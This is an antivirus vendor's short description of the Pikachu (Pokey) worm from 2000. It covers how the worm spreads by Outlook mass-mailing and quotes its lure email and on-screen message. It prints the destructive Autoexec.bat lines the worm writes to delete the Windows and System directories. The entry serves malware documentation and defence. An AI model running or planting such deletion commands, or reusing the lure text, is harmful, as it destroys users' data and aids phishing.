Alias:WIN32/Pikachu.32768
Type:Worm 
Size:32.768 Bytes 
Origin: 
Date:09-20-2000 
Damage:Deletes all files from Windows System directory. 
VDF Version:6.23.00.00 
Danger:High 
Distribution:Low 

DistributionThe Internet worm Pikachu (alias Pokey) spreads via MS Outlook to all Contacts in the Address Book. It is not a VBS worm, but a normal application (.exe). The email sent by the worm contains:

Subject: Pikachu Pokemon
Body: Great Friend!
Pikachu from Pokemon Theme have some friendly words to say.
Visit Pikachu at http://www.pikachu.com
See you.

Technical DetailsA harmless Pokemon-Icon tries to determine the user to open the file. When opened, the virus displays an image, with the message:
"Between millions of people
around the world i found you.
Don't forget to remember this day
every time MY FRIEND!
Visit us at http://www.pikachu.com"

In this time, the virus overwrites Autoexec.bat:
@ECHO OFF
del C:\WINDOWS\*.*
del C:\WINDOWS\SYSTEM\*.*

These commands will delete all Windows and Windows System directory content on the next system start. This means a total data loss. A new installation of the operating system will be needed.
Description inserted by Crony Walker on Tuesday, June 15, 2004

Back . . . .